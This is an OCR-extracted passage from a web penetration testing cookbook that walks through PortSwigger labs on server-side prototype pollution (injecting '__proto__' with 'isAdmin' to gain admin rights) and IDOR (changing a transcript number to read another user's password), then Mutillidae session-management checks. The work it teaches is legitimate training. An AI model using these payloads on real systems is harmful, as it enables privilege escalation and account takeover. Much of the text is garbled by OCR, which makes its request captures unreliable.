13 Sec-Fetch-Node: cors
14 Sec-Fetch-Dest: empty
15 Referer:
hreps: //0atZ007c041bB32380032£7400d70043. web-security-academy
.net/my-account
Accept=Encoding: gzip, deflace
Accept-Language: en-US,en;q=0.9%,en-Ci;q=0.8

ST Y

o

o

-3

“_1:'|1:ot-'.n__”\: {
"foo™: "bar™

B B b e

[ =

[ SN N

"addcess_line 1™:"Wiener HQ",

"addcess_line 2":"One Wiener Way 1",
"eity”:"Wienexville”,

"postcode™:"BUL 1RP",

"country™: "UE",

"sessionld”: "PUOlzVen¥xJoarSIcLZadl LbNnXclaxm™
¥

Figure 5.23 — Adding a prototype into the JSON body of the POST request
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8. Send the request. Note the response is still valid. Also, notice there is a property in the JSON

response called "isAdmin": false.

| sed IO

Cancel <|v|| >

Target: https://0af2007c041b83238003267400d70043.web-security-acade

Request

Pretty Raw Hex

1 POST /my-account/change-address HTTP/Z

Host:

0af2007c041bB3238003267400470043, web-security-acadeny.net

Cookie: session=PU0lzVtnWxJoarSIcLZadllblNnXclaXm

Content-Length: 209

Sec-Ch-Ua:

Sec-Ch-Ua-Platform: ""

Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd; xE4)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91

Safari/537.36

Content-Type: application/json;charset=UTF-8

10 Accept: */*

11 Deigin:
https: //0af2007c041b83238003267400d70043. web-security-academy
.net

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer:
https: //0af2007c041b83238003267400d70043. web-security-academy
.net/my-account

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

18

19 {

200" _proto__":(

"f£00": "bar"”

),
Taddress_linme 1™:"Wiener HQ",
"address_line 2":"0One Wiener Way 1",
"eity™:"Wienerville™,
"postcode”: "BUL 1RP",
"country”: "UK",
"sessionld”:"PU0lzVenWxJoarSIcLladl IblinXclaXm™

(%)

[C R T )

w

[SE SRS
L

8 v =

Pretty ~ Raw  Hex

Response
Render

HTTP/2 200 OK

X-Powered-By: Express

Cache-Control: no-store

Content-Type: application/json; charset=utf-g8
Etag: W/"d3-56nDWMaléebKen+2QaStm/0EgAE™
Date: Sun, 04 Jun 2023 13:21:12 GNMT
Keep-Alive: timeout=5

g X-Frame-Options: SAMEORIGIN

% Content-Length: 211

[T I R

11
"username":"wiener",
"firstname"™:"Peter",
"lastname":"Wiener",
"address_line_1":"Wiener HQ",
"address_line_2":"0One Wiener WVay 1",
"ecity":"Wienerville”,
"postcode”:"BUL 1RP",

Figure 5.24 — Note the isAdmin parameter in the response

9. Let’s use a prototype pollution attack to change this value from false to true. Add the
property of "isAdmin" : "true" to the request where "foo" : "bar" originally was within

the prototype " proto__ " object.
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2R @) e |[<I7][>17 Target: https://0af2007c041b83238003267400d70043.web-security-at
Request Response

Pretty Raw Hex 8w = Pretty Raw Hex Render
1 POST /my-account/change-address HTTP/2 1 HTTP/2Z 200 OK
2 Host: 2 X-Powered-By: Express

Daf2007c041bB83238003267400d70043. web-security-acadeny.net 3 Cache-Control: no-store
3 Cookie: session=PU0lzVtnWxJoarSIcLZadllbNnXclaXm 4 Content-Type: application/json; charset=utf-8
4 Content-Length: Z14 5 Etag: W/"d2-9Y5141gCEJzqTVIaBOVBHWguMmU™
5 Sec-Ch-Ua: € Date: Sun, 04 Jun 2023 13:47:53 GMT
& Sec-Ch-Ua-Platform: "" 7 Keep-Alive: timeout=5
7 Sec-Ch-Ua-Mobile: 20 S X-Frame-Options: SAMEORIGIN
& User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4) % Content-Length: 210

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.51 10

Safari/537.3€ 11 {
9 Content-Type: application/json;charset=UTF-8
10 Accept: */% H
11 Origin: "lastname™:"Wiener"™,

https://0af2007c041b83238003267400470043. web-security-acadeny "address_line_l":"Wiener HQ",

.net "address_line_2":"0One Wiener WVay 1",

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer:
https: //0af2007c041b83238003267400d70043. web-security-acadeny
.net/my-account

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.

"eity":"Wienerville”,

19 {

address_Iine "¢ er HQ",
"address_line 2":"0One Wiener Way 1",
"ecity”:"Wienerville”,
"postcode”™:"BUL 1RP",
"country": "UK",
"sessionld”:"PU0lzVtnWxJoarSIcLZadllblinXclaXm”

Figure 5.25 - Manipulating the isAdmin parameter in the request

10. Send the request and notice the response now reflects the change. We just elevated our privileges
to an admin! Return to the browser and refresh the /my-account page. Notice you now
have an Admin panel link available:

<« > C hitps://0af2007c041b83238003267400d70043 web-security-academ.. (& Y E & Z O &
5 Privilege escalation via server-
. h Not solved )
Web Security (oo iee iion (@8] Notsonea [3
Academy|<]

Back to lab description >

Home || Admin panel || My account | Log out

My Account
Your username is: wiener

Billing and Delivery Address
Line 1
Wiener HQ

Figure 5.26 — Access to Admin panel is now available
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11. To solve this lab, click the Admin panel link. On the subsequent page, delete the account carlos.

. Privilege escalation via server- _: ..‘
WEbSECUFIty side prototype pollution A
Academy|+]

Back to lab description >

Home | Admin panel | My account

Users

wiener - Delete

carlos - Delele

Figure 5.27 - Delete Carlos’account
12. You should see the curtain display confirming you've solved the lab.

: Privilege escalation via server-
Web Securlty side prototype pollution 4
Academy|+] |

Back to lab description

Zongratulations, you solved the lab! ¥ Share your skills! | Continue learning >

Home | Admin panel | My account

User deleted successfully!

Users

wiener - Delete

Figure 5.28 — Lab is solved

How it works...

In this recipe, we, as attackers, took advantage of a potential weakness in Node.js objects known as
prototype pollution. Each object constructed in Node.js uses a prototype from which objects inherit
characteristics and behaviors. If an attack can pollute the top of the object hierarchy, then all the
objects constructed from that polluted prototype can be manipulated. By adding " proto__ " to
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the POST JSON body, we found the presence of this weakness and exploited it to elevate our privileges

to an administrator.

Testing for IDOR

Allowing unauthorized direct access to files or resources on a system based on user-supplied input is
known as IDOR. This vulnerability allows us to bypass authorization checks placed on such files or
resources. IDOR is a result of unchecked user-supplied input to retrieve an object without performing

authorization checks in the application code.

Getting ready

Let’s use the Insecure direct object references PortSwigger lab, which is located in the Access control
section of All labs, as our target application. We will attempt to find a direct object reference used
as a value to a parameter, manipulate it, and access information that should normally not be seen.

Log in to your PortSwigger account and navigate to the following URL: https://portswigger.
net/web-security/access-control/lab-insecure-direct-object-references.
Ensure Burp Suite is running and sending traffic through either Firefox or the Burp Suite browser.

How to do it...

1.

From the Lab: Insecure direct object references landing page, click the link entitled Access
the lab. If you do not see the Access the lab button, make sure you are logged in to your
PortSwigger account.

@ portswigger.net/web-security/access-control/lab-insecure-direct-object-references

E1 PortSwigger

Products v | Solutions v Res

Dashboard Learning path Latest topics Vv All labs Mystery labs Hall of Fame v Gets

Web Security Academy P Access control » Lab

Lab: Insecure direct object referencesi
ORsH

S LAB ‘ Solved

This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs.

Solve the lab by finding the password for the user carles, and logging into their account.

Access the lab

Figure 5.29 - Starting the lab instance
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2. A new tab will open in your browser and a unique instance of the lab will start up just for
you. Your URL will be unique, thus different from the one shown in the following screenshot.

> C @ 0a8b009d03a5d60b81492a62001e0086.web-security-academy.net e % O & 0O .

Web Security llnsecure direct object references - Not solved ‘ )
Back to lab description >
Academy /(]

Home | My account | Live chat
WE LIKE TO

SHOP f-Js

- N BV LEL™N

Figure 5.30 - Landing page of lab

3. Click the Live chat link in the application.

hits://0a8b009d03a5d60b81492a62001e0086.web-security-acade...  |& I ﬂ * 5 El - H

Insecure direct object references - Not solved

Back to lab description >»

Home | My account | Live chat

Figure 5.31 - The Live chat link
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4.  On the Live chat page, type in a simple message and click Send to send it to the web server backend:

Live chat

System: No chat history on record
CONNECTED: -- Now chatting with Hal Pline --

Your message:

hello there

Send View transcript

Figure 5.32 - Sample message to send

it

5. After clicking the Send button, click the View transcript button. Notice a file is downloaded
to your local system containing the conversation.

Live chat

CONNECTED: -- Now chatting with Hal Pline --

You: hello there
Hal Pline: Eek, you've really got me stumped with that one, try again using a different language.

Your message:

m View transcript

Figure 5.33 - Clicking the View transcript button

6. View the downloaded file and see the conversation is captured in the transcript as expected.

Ez.mml
1 tONNECTED: —— Now chatting with Hal Pline ——<br/£You: hello there(br;PHal
Pline: Eek, you've really got me stumped with that one, try again using a

different language.

Figure 5.34 - Viewing the downloaded transcript file
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7. Switch to Burp’s Proxy | HTTP history tab. Find the GET request immediately after the POST
request to download the file. Notice our filename is a number with the . txt extension. What
would happen if we changed the value of this number to 1?

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} Sett

Extensions Learn
Intercept WebSockets history @ Proxy settings

Filter: Hiding CSS, image and general binary content

# Host Method URL Params Edited  Statuscode Length MIMEty;
155 bt 200 326 text
E] 200 326 text
.. POST  /download-transcript v 302 106
152 https://0a8b009d03a5d60b814... GET /chat 101 147

Request Response
Pretty  Raw  Hex B v = | pe Raw  Hex  Rende 8w =
|1 GET /damluad—::mscup:/:.r.xq HTTP/2 HTTP/2 200 OK

—HosTT 2 Content-Type: text/plain; charset=utf-8

0a8b009d03a5d60b81492a62001£0086 . web-security-acadeny.net 3C Disposition: ; filename="2, txt"
3 Cookie: session=Spf0Ze0zCWN45LMSCuEZ(QVyDslPAVEBSq 4 X-Frame-Options: SAMEORIGIN
5

4 Sec-Ch-Ua: Content-Length: 1€7
5 Sec-Ch-Ua-Platform: "" T
& Sec-Ch-Ua-Mobile: 20 CONNECTED: -- Now chatting with Hal Pline --<br/>You: hello

%E4) there<br/>Hal Pline: Eek, you've really got me stumped with that
.0.5735.91 one, try again using a different language.

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4:
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
Safari/537.36

2 Accept: */%

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: cors

11 Sec-Fetch-Dest: empty

12 Referer:

https://0aB8b009d03a5dE0bE1492a62001e0086. web-security-acadeny

.net/chat

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Figure 5.35 - Seeing the call to retrieve the transcript

8. Right-click and send the request to Repeater. Let’s perform an IDOR attack by manipulating
the value assigned to our transcript to the number 1. Send the request. Notice you can now
read the transcript of a different user! Inside the transcript reveals their password!

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder Comparer Logger Organizer {0} Sett

Extensions Learn

1 x 2 x 3 x + Q

[ sena  JEDIIRE Target: httpsy//028b009d03a5d60b81492262001e0086.web-security-academy.net /5  HTIP/2
==

Request Response

Pretty  Raw  Hex M = | pretty Raw  Hex  Render B v =

1 GET /download-transcriptfl.txt HTTP/2 1 HTTP/2 200 OK

2 Host: 0aBb009d03a5de0bEl: 120086.web rity d .net 2 G ~Type: text/plain; charset=utf-g

3 Cookie: session=Spf0ZeDzCWNASLMSCuEZQVyDslPAVESq 3 Content-Disposition: attachment; filename="1.txt"”

4 Sec-Ch-Ua: 4 X-Frame-Options: SAMEORIGIN

5 Sec-Ch-Ua-Platform: "" 5 Content-Length: 520

€ Sec-Ch-Ua-Mobile: 20 (2

7 User-Agent: Mozilla/S5.0 (Windows NT 10.0; Wing4; x&4) 7 CONMECTED: -- Now chatting with Hal Pline --

AppleWebKit/537.3é (KHTML, like Gecko) Chrome/114.0.5735.51 You: Hi Hal, T think I've forgotten my password and need

Safari/537.36 confirmation that I'we got the right one
2 Accept: */* 9 Hal Pline: Sure, no problem, you seem like a nice guy. Just
% Sec-Fetch-Site: same-origin tell me your password and I'll confirm whether it's correct or
10 Sec-Fetch-Mode: cors not.
11 Sec-Fetch-Dest: empty 10 You: Wow you're so nice, thanks. I've heard from other people
12 Referer: that you can be a right ****

https: //0a8b008d03a5d60bB1492a62001e0086. web-security-acadeny.n 1 Hal P X 0 X

et/chat
13 Accept-Encoding: gzip, deflate T3"Hal Pline: Yes it is'
14 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 14 You: Ok thanks, bye!
15 15 Hal Pline: Do one!
16 16

Figure 5.36 — Manipulating the filename
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9. Using the password we've uncovered, let’s log in using carlos as the username and the
password revealed inside the transcript. Click on the My account link to navigate to the login
page. Type in the credentials. Note your password may differ from mine since each instance
may have different secrets.

Web Security Irr;sf:eerce%rgec;irect object i
Academy/<|

Back to lab description »

Home ||My account || Live chat

Login

Username

carlos

Password

Figure 5.37 - Using the revealed password to log in to Carlos’account

10. After logging in, you should receive the curtain display confirming you’ve solved the lab!

Web SECU rlty Irg?:r(;#] rge(; irect object ‘
Academy %]

Back to lab description >>

>ongratulations, you solved the lab! W Share your skills! | Continue learning >

Home | My account | Live chat | Log out

My Account
Your usernam

Email

Update email

Figure 5.38 - Lab is solved
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How it works...

Due to a lack of proper authorization checks on the transcript filename parameter, we can
view the transcript of a completely different user. In this recipe, the transcript contained password
information, which we leveraged to perform an account takeover. Mitigation and prevention against
this vulnerability include access controls and checks prior to revealing sensitive files and resources.
When these access controls are missing, IDOR vulnerabilities may be present.
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Assessing Session Management
Mechanisms

This chapter covers techniques used to bypass and assess session management schemes. Session
management schemes are used by applications to keep track of user activity, usually by means of
session tokens. Web assessments of session management also involve determining the strength of
the session tokens used and whether those tokens are properly protected. We will learn how to use
Burp Suite to perform such tests.

In this chapter, we will cover the following recipes:

o Testing session token strength using Sequencer
o Testing for cookie attributes

o Testing for session fixation

o Testing for exposed session variables

o Testing for cross-site request forgery

Technical requirements

To complete the recipes in this chapter, you will need the following:
o An OWASP Broken Web Applications (BWA) VM
o  OWASP Mutillidae link

o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)

o A Firefox browser or Burp Suite browser configured to allow Burp Suite to proxy traffic (https://
www.mozilla.org/en-US/firefox/new/)


https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/
https://www.mozilla.org/en-US/firefox/new/
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Testing session token strength using Sequencer

To track user activity from page to page within an application, developers create and assign unique
session token values to each user. Most session token mechanisms include session IDs, hidden form
fields, or cookies. Cookies are placed within the user’s browser on the client side.

These session tokens should be examined by a penetration tester to ensure their uniqueness, randomness,
and cryptographic strength, to prevent information leakage.

If a session token value is easily guessable or remains unchanged after login, an attacker could apply (or
fixate) a pre-known token value to a user. This is known as a session fixation attack. The purpose of the
attack is to harvest sensitive data in the user’s account, since the session token is known to the attacker.

Getting ready

We'll check the session tokens used in OWASP Mutillidae II to ensure they are created in a secure
and unpredictable way. An attacker who is able to predict and forge a weak session token can perform
session fixation attacks.

Ensure Burp Suite and the OWASP BWA VM are running and that Burp Suite is configured in the
Firefox browser used to view OWASP BWA applications, or use Burp Suite’s built-in browser.

How to do it...

1. From the OWASP BWA landing page, click the link to the OWASP Mutillidae II application.

2. Open the Firefox browser or Burp Suite browser to access the home page of OWASP Mutillidae
II (URL: http://<your VM assigned IP address>/mutillidae/). Make sure
you are starting a fresh session of the Mutillidae application and are not logged in to it already:

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) | Not Logged In |

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2013 »

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

Figure 6.1 — Ensure you are not logged in to the application

3. Switch to the Proxy | HTTP history tab and select the request showing your initial browse to
the Mutillidae home page.

4. Look for the GET request and the associated response containing the Set -Cookie : assignments.
Whenever you see this assignment, you know you are getting a freshly created cookie for your
session. Specifically, we are interested in the PHPSESSID cookie value:
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Burp Project Intruder Repeater Window Help

Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed to Sunny Wear [single «

Dashboard Target Intruder Rep Collab S Decoder Comparer Logger Organizer Extensions
Intercept HTTP history | ‘WebSockets history @ Proxy settings
I Filter: Hiding CSS, image and general binary content
z ____Host Method __ _ URL Params Edited  Statuscode Length MIMEtype Extension Title
167 [IW/HRIGBEJZB GET /mutillidae/ ‘ 200 4617 HIML
a-= -
Request Response
Pretty Raw Hex 8w = Pretty Raw Hex Render 8=

fost: 192.160.29.128
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91
Safari/s37.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/av
if,image/webp,image/apng,*/*;q=0.8,application/signed-exchange
sv=b3;q=0.7
Referer: http://192.168.29.128/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en-CA;q=0.8
Connection: close

[

Swem -

1 HTTP/1.1 200 OK

2 Date: Mon, 05 Jun 2023 16:42:03 BMT

3 Server: Apache/2.2.14 (Ubuntu) d_mono/2.4.3
PHP/5.3.2-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod_python/3.3.1 Python/Z.€.5 mofl ss1/2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod perf/2.0.4 Perl/vs5.10.1
X-Powered-By: PHP/S5.3.2-lubuntud¥30
Set—Cookie: PHPSESSID=1jho8d55sfme3rj3ividtve0E5; path=/
t-Cookie: owhints=
7 Logged-In-User:
8 Vary: Accept-Encoding
9 Content-Length: 45669
10 Connection: close
11 Content-Type: text/html
19

i

Figure 6.2 — Cookie value of PHPSESSID

5. Highlight the value of the of the PHPSESSID cookie, right-click, and select Send to Sequencer:

Bl Bup Project Intruder Repeater Window Help Burp Suite Professional vi
Dashboard Intruder  Repeater  Collaborator  Sequencer  Decoder
WebSockets history {5} Proxy settings

Filter: Hiding CSS, image and general binary content
# Host Method URL Params Edited  Stat
200

Pretty Raw Hex

1 GET /mutillidae/ HTTP/1.1

2 Host: 192.168.29.128

3 Upgrade-Insecure-Recuests: 1
4

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4; x€4) ApnleWebKit/537.36 (KHTML. like G

Chrome/114.0.5735.91 Safari/537.36

Scan
5 Accept:
text/htnl,application/xhtml+xml,application/xml;g=0.9,1 Do passive scan I,
ication/signed-exchange ;v=b3;q=0.7 .
& Referer: http://192.168.29.128/ Do active scan
7 Accept-Encoding: gzip, deflate Send to Intruder Ctrl+l
& Accept-Language: en-US,en;q=0.9,en-CA;q=0.8
9 Connection: close Send to Repeater Ctrl+R
1

Figure 6.3 — Send request to Sequencer

Sequencer is a tool within Burp Suite designed to determine the strength or the quality of the
randomness created within a session token.
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6. After sending the value of the PHPSESSID parameter over to Sequencer, you will see the
value loaded in the Select live capture request table.

7. Before pressing the Start live capture button, scroll down to the Token location within
response section. In the Cookie drop-down list, select PHPSESSID=<captured session
token values:

n Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.bur

Dashboard Target Proxy Intruder Repeater Collaborator Decode:
Extensions Learn

Manual load {5} Sequencer settings
@ Select live capture request
Send requests here from other tools to configure a live capture. Select the request to use, configure the other options

Remove | # Host Request
Clear 3 http://192.168.29.128 GET /mutillidae/ HTTP/1.1Host: 192.168.29....

Start live capture

@ Token location within response

Select the location in the response where the token appears.

® Cookie: | PHPSESSID=jho8d55sfme3r3ivid .. | v
Form field: mhmﬁhinb:1
_) Custom location: | - | Configure

Figure 6.4 - Set the cookie value for Sequencer

8. Since we have the correct cookie value selected, we can begin the live capture process. Click the
Start live capture button, and Burp Suite will send multiple requests, extracting the PHPSESSID
cookie out of each response. After each capture, Sequencer performs a statistical analysis of
the level of randomness in each token.
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9. Allow the capture to gather and analyze at least 200 tokens, but feel free to let it run longer if
you like:

n Burp Sequencer [live capture #3: http://192.168.29,128]

@ Live capture (622 tokens) @ *
|. Pause ‘ | Copy tokens | [ Auto analyze (next: 700) Requests: 622
| Stop \ | Save tokens | | Analyze now | Errors: 0

Summary Character-level analysis Bit-level analysis Analysis settings

Figure 6.5 — Live capture of Sequencer

10. Once you have at least 200 samples, click the Analyze now button. Whenever you are ready to
stop the capturing process, press the Stop button and confirm by clicking Yes:

EJ Burp Sequencer [live capture #3: http://192.168.29.128]

@ Live capture (paused) @D

| Resume | | Copy tokens | (] Auto analyze (next: 1500) Requests: 1040

[ Stop |l Savetokens | | Analyze now | Errorss 0
Summary Character-level analysis Confirm - ‘

| —
A Are you sure you want to stop?

Overall result
The overall quality of randomness within the Y N
At a significance level of 1%, the amount of Ees [—o]

Figure 6.6 — Stopping the live capture

11. After the analysis is complete, the output of Sequencer provides an overall result. In this case,
the quality of randomness for the PHPSESSID session token is excellent. The amount of
effective entropy is estimated to be 112 bits. From a web pentester perspective, these session
tokens are very strong, so there is no vulnerability to report here. However, though there is no
vulnerability present, it is good practice to perform such checks on session tokens:
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Burp Sequencer [live capture #3: http://192.168.29.128]

@ Live capture (stopped) fom: )
Resume Copy tokens Auto analyze Requests: 1041
Stop Save tokens Analyze now Errorss 0
Summary Character-level analysis Bit-level analysis Analysis settings

Overall result

At a significance level

The overall quality of randomness within the sample is estimated to be: excellent.

of 1%, the amount of effective entropy is estimated to be: 116 bits.

Effective entropy
The chart shows the ni

is required to reject th

el analysis was not performed because the sample size is too small rela

=+
-
=)
=]
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g
a
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€
I
m
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tive to the size of

umber of bits of effective entropy at each significance level, based on all tests. Each significance level defines a minimum

probability of the observed results occurring if the sample is randomly generated. When the probability of the observed results occurring falls
below this level, the hypothesis that the sample is randomly generated is rejected. Using a lower significance level means that stronger evidence

e hypothesis that the sample is random, and so increases the chance that non-random data will be treated as random.

>10%

1%

Figure 6.7 — Summary analysis

How it works...

To better underst

and the math and hypothesis behind Sequencer, consult PortSwigger’s documentation

on the topic here: https://portswigger.net/burp/documentation/desktop/
tools/sequencer/tests.

Testing fo

r cookie attributes

Important user-specific information, such as session tokens, is often stored in cookies within the
client browser. Due to their importance, cookies need to be protected from malicious attacks. This

protection usually comes in the form of two flags—secure and Ht t pOnly.

The secure flag informs the browser to only send the cookie to the web server if the protocol is
encrypted (for example, HTTPS or TLS). This flag protects the cookie from eavesdropping over
unencrypted channels.


https://portswigger.net/burp/documentation/desktop/tools/sequencer/tests
https://portswigger.net/burp/documentation/desktop/tools/sequencer/tests
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The Ht tpOnly flag instructs the browser to not allow access or manipulation of the cookie via
JavaScript. This flag protects the cookie from cross-site scripting attacks.

Getting ready

Check the cookies used in the OWASP Mutillidae IT application, to ensure the presence of protective
flags. Since the Mutillidae application runs over an unencrypted channel (for example, HTTP), we
can only check for the presence of the Ht t pOnly flag. Therefore, the secure flag is out of scope
for this recipe.

Ensure Burp Suite and the OWASP BWA VM are running and that Burp Suite is configured in the
Firefox browser used to view OWASP BWA applications, or use Burp Suite’s built-in browser.

How to do it...

1. From the OWASP BWA landing page, click the link to the OWASP Mutillidae II application.

2. Open the Firefox browser or the Burp Suite browser to access the home page of OWASP
Mutillidae IT (URL: http://<your VM assigned IP address>/mutillidae/).
Make sure you are starting a fresh session and you are not logged in to the Mutillidae application:

v = m}
1 192.168.29.128/mutillidae/ X +

2 % A * &0 2

®x OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) | Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Captured Data

&« C | A Not secure | 192.168.29.128/mutillidae/

Mutillidae: Deliberately Vulnerable Web Pen-Testing Application|

Like Mutillidae? Check out how to help
? What Should | Do?
4

Video Tutorials

HTML 5 4

Help Me! Listing of vulnerabilities
«

—_—

fk ? Bug Tracker @ Bug Report Email Address

Lattina Ctartad-

Figure 6.8 — Ensure you are not logged in to the application
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3. Switch to the Proxy | HTTP history tab and select the request showing your initial browse to
the Mutillidae home page. Look for the GET request and its associated response containing
Set-Cookie: assignments. Whenever you see this assignment, you can ensure you are getting
a freshly created cookie for your session. Specifically, we are interested in the PHPSESSID
cookie value.

4. Immediately after successful login, cookies should be set. Examine the end of the Set -Cookie:
assignments lines. Notice the absence of the Ht t pOnly flag for both lines. This means the
PHPSESSID and showhints cookie values are not protected from JavaScript manipulation.
This is a security finding that you would include in your report:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.3.2 - second_edition_3.burp - licensed to Sunny Wear [single user i.. — m}
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer @ S
Extensions Learn

Intercept WebSockets history

Filter: Hiding CSS, image and general binary content

Proxy settings
{©) Proxy setting;

# Host Method URL Params  Edited  Statuscode Length MIMEtype Extension Title
‘mutilli 200 46171 HTML
o= =
Request Response
Pretty Raw Hex = 0 = Pretty Raw Hex Render = n =
GET /mutillidae/ HTTP/1.1 HT'TPIl.l 200 OK

Host: 192.1£B.29.128

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xE4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91
Safari/537.36

Aceept:
text/htnl,application/xhtml+xnl,application/xml;q=0.9,image/avi

-

@

£, inage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v

=b3;q=0.7

Referer: http://192.168.29.128/
Accept-Encoding: gzip, deflate

2 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8
Comnection: close

'y

@

W

Date: Mon, 05 Jun 2023 1£:42:03 GMT

Server: Apache/2.Z2.14 (Ubuntu) mod_mono/Z.4.3
PHP/5.3.2-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod_python/3.3.1 Python/2.6.5 mod_ssl/Z2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30

‘Set-Cookie: PHPSESSID=17hoBd55sfmeSri3ividtve0Ls; path=/

5
L]

Set-Cookie: showhints=1
Logged-In-User:

Vary: Accept-Encoding
Content-Length: 45669
Connection: close

1 Content-Type: text/html

Figure 6.9 - Setting the value of the PHPSESSID cookie, absence of security flags

How it works...

If the two cookies had Ht tpOnly flags set, the flags would appear at the end of the Set -Cookie:
assignment lines. When present, the flag would immediately be followed by a semicolon ending the
path scope of the cookie, followed by the Ht t pOnly string. The display is similar for the Secure
flag as well:

Set-Cookie: PHPSESSID=<session token values;path=/;Secure;HttpOnly;

Testing for session fixation

Session tokens are assigned to users for tracking purposes. This means that when browsing an application
as an unauthenticated user, they are assigned a unique session ID, which is usually stored in a cookie.
Application developers should always create a new session token after the user logs in to the website.
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If this session token does not change, the application could be susceptible to a session fixation attack.
It is the responsibility of web penetration testers to determine whether this token changes values from
an unauthenticated state to an authenticated state.

Session fixation is present when application developers do not invalidate the unauthenticated session
token, allowing the user to use the same one after authentication. This scenario allows an attacker
with a stolen session token to masquerade as the user.

Getting ready

Using the OWASP Mutillidae II application and the Proxy | HT TP history tab in Burp Suite, as well
as Comparer, we will examine an unauthenticated PHPSESSID session token value. Then, we will
log in to the application and compare the unauthenticated value against the authenticated value to
determine the presence of the session fixation vulnerability.

How to do it...

1. Navigate to the login screen (click Login/Register from the top menu), but do not log in yet.

2. Switch to Burp Suite’s Proxy | HTTP history tab, and look for the GET request showing
when you browsed to the login screen. Make a note of the value assigned to the PHPSESSID
parameter placed within a cookie:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.2 - second_edition_3.burp - licensed to Sunny Wear [single userli.. — O
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} &

Extensions Leamn
Intercept ‘WebSockets history G} Proxy settings
Filter: Hiding CSS, image and general binary content

& Host Method URL Params  Edited  Statuscode Length MIMEtype Extension Title
ul 200 46171 HTML
O==

Request Response

Pretty Raw Hex 5 n = Pretty Raw Hex Render n =

1 GET /mutillidae/ HTTP/1.1 1 "l'l'lT/.l..l 200 0K

2 Host: 192.168.29.128 2 Date: Mon, 05 Jun 2023 1£:42:03 GMT

3 Upgrade-Insecure-Recuests: 1 3 Server: Apache/2.Z2.14 (Ubuntu) mod_mono/Z2.4.3

4 User-Agent: Mozilla/5.0 (Windows NT 10.0:; Win&4; x&4) PHP/5.3.2-lubuntud. 30 wvith Suhosin-Patch proxy html/3.0.1
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 mod_python/3.3.1 Python/Z.6.5 mod_ssl/2.2.14 OpenS5SL/0.9.8k
Safari/537.36 Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

5 Accept: 4 X-Powered-By: PHP/S.3.2-lubuntud.30
text/html,application/xhtml+xml,application/xml;q=0.9, inage/avi
£,image /webp, image/apng, */*;q=0.8,application/signed-exchange ;v € Set-Cookie: showhints=I
=b3;q=0.7 7 Logged-In-User:

€& Referer: http://1592.166.29.128/ 8 Vary: Accept-Encoding

7 Accept-Encoding: gzip, deflate S Content-Length: 4569

& Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 10 Connection: close

9 Connection: close 11 Content-Type: text/html

10 12

Figure 6.10 — Setting of PHPSESSID cookie value unauthenticated
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3. Right-click the PHPSESSID parameter and send the request to Comparer:

Burp Project Intruder Repeater Window Help  Burp Suite Professional vi
Dashboard Target Proxy Intruder Repeater Collaborator
Extensions Learn

Intercept HTIP history WebSockets history @ Proxy settings

‘ Filter: Hiding CSS, image and general binary content

# v Host Method URL
mi of i

Request

Pretty Raw Hex a n =

1 GET /mutillidae/index.php?page=login.php HTTP/1.1

2 Host: 192.1€8.29.128

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x€4)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91
